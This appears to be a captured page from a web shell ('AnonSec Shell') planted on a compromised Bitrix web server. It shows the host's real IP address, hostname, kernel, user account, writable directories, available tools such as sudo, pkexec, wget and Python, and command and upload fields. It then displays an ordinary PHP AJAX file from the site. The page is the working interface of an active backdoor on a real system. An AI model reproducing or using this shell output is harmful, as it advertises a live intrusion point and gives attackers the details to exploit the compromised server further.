AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.131.37.56
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/ajax/storiesInfo.php
<?define("STATISTIC_SKIP_ACTIVITY_CHECK", "true");?>
<?define('STOP_STATISTICS', true);
define('PUBLIC_AJAX_MODE', true);?>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>

<?
$context=\Bitrix\Main\Context::getCurrent();
$request=$context->getRequest();

$arSectionData = $request->getPost("sectionData");

if(!$iblockID = $arSectionData['iblockId']) {
	showStoriesError('no valid iblockId!');
}

if(!$sectionID = $arSectionData['sectionId']) {
	showStoriesError('no valid sectionId!');
}

$arSortData = $request->getPost("sortData");
$arSortData['SORT'] = $arSortData['sort'] ? $arSortData['sort'] : 'SORT';
$arSortData['SORT_ORDER'] = $arSortData['sortOrder'] ? $arSortData['sortOrder'] : 'ASC';
$arSortData['SORT_2'] = $arSortData['sort2'] ? $arSortData['sort2'] : 'ID';
$arSortData['SORT_ORDER_2'] = $arSortData['sort2Order'] ? $arSortData['sort2Order'] : 'ASC';

\Bitrix\Main\Loader::includeModule('iblock');

$arParams = array(
	'IBLOCK_ID' => $iblockID,
	'SORT_DATA' => $arSortData,
);
$arSections = CMax::getStoriesSections($arParams);
if($arSections) {
	echo \Bitrix\Main\Web\Json::encode($arSections);
} else {
	showStoriesError('no have sections!');
}

function showStoriesError($errorText) {
	$arResult = array(
		'error' => $errorText,
	);
	echo \Bitrix\Main\Web\Json::encode($arResult);
	die();
}
?>

Anon7 - 2022
AnonSec Team